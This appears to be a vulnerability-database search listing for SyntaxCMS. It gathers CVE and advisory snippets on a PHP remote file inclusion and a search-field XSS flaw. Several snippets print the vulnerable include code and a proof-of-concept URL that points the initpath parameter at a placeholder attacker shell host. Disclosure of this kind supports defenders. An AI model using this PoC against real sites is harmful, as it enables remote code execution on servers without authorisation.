37 matches found
CVE-2006-5105: Undefined Security Weakness
Multiple PHP remote file inclusion vulnerabilities in SyntaxCMS 1.1.1 through 1.3 allow remote attackers to execute arbitrary PHP code via a URL in 1 the initpath parameter to admin/testing/tests/0030initsyntax.php, or 2 an unspecified parameter to admin/testing/index.php. NOTE: the...
CVE-2006-5055
PHP remote file inclusion vulnerability in admin/testing/tests/0004initurls.php in syntaxCMS 1.1.1 through 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the initpath parameter...
CVE-2006-5055: Improper Control of Generation of Code
PHP remote file inclusion vulnerability in admin/testing/tests/0004initurls.php in syntaxCMS 1.1.1 through 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the initpath parameter...
EUVD-2006-5040
PHP remote file inclusion vulnerability in admin/testing/tests/0004initurls.php in syntaxCMS 1.1.1 through 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the initpath parameter...
CVE-2006-5055
PHP remote file inclusion vulnerability in admin/testing/tests/0004initurls.php in syntaxCMS 1.1.1 through 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the initpath parameter...
CVE-2006-5055
CVE-2006-5055 describes a PHP remote file inclusion in syntaxCMS 1.1.1 to 1.3, exploitable via a URL in the init_path parameter of admin/testing/tests/0004_init_urls.php. The underlying issue is a vulnerability in how user-supplied URLs are included, allowing remote attackers to execute arbitrary...
[Full-disclosure] Remote File Include in syntaxCMS
Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 ?php 2 includeonce $initpath . '/init.urls.php' ; 3 ? PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remove This File...it's not needed...ju...
SyntaxCMS <= 1.3 (0004_init_urls.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ======================================================================= SyntaxCMS PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remove This File...it's not needed...ju...
SyntaxCMS 1.3 - 0004_init_urls.php Remote File Inclusion
SyntaxCMS 1.3 - 0004initurls.php Remote File Inclusion Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remove This File...it's not...
SyntaxCMS <= 1.3 (0004_init_urls.php) Remote File Include Vulnerability
No description provided by source. Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 ?php 2 includeonce $initpath . '/init.urls.php' ; 3 ? PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remo...
SyntaxCMS 1.3 - '0004_init_urls.php' Remote File Inclusion
Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remove This File...it's not needed...just used for tests Found by MoHaJaLi Greetz to EddyBAck...
CVE-2005-4496
Cross-site scripting XSS vulnerability in search in SyntaxCMS 1.2.1 and earlier allows remote attackers to inject arbitrary web script or HTML via the searchquery parameter...
CVE-2005-4496
Cross-site scripting XSS vulnerability in search in SyntaxCMS 1.2.1 and earlier allows remote attackers to inject arbitrary web script or HTML via the searchquery parameter...
CVE-2005-4496: Undefined Security Weakness
Cross-site scripting XSS vulnerability in search in SyntaxCMS 1.2.1 and earlier allows remote attackers to inject arbitrary web script or HTML via the searchquery parameter...
SyntaxCMS XSS vuln.
SyntaxCMS XSS vuln. Vuln. discovered by : r0t Date: 21 dec. 2005 orginal advisory:http://pridels.blogspot.com/2005/12/syntaxcms-xss-vuln.html vendor:http://www.syntaxcms.org/ affected version:1.2.1 and prior Product Description: SyntaxCMS simplifies publishing various types of content to a site,...
SyntaxCMS - Search Query Cross-Site Scripting
SyntaxCMS - Search Query Cross-Site Scripting source: https://www.securityfocus.com/bid/16033/info SyntaxCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have...
SyntaxCMS - Search Query Cross-Site Scripting
source: https://www.securityfocus.com/bid/16033/info SyntaxCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browser of...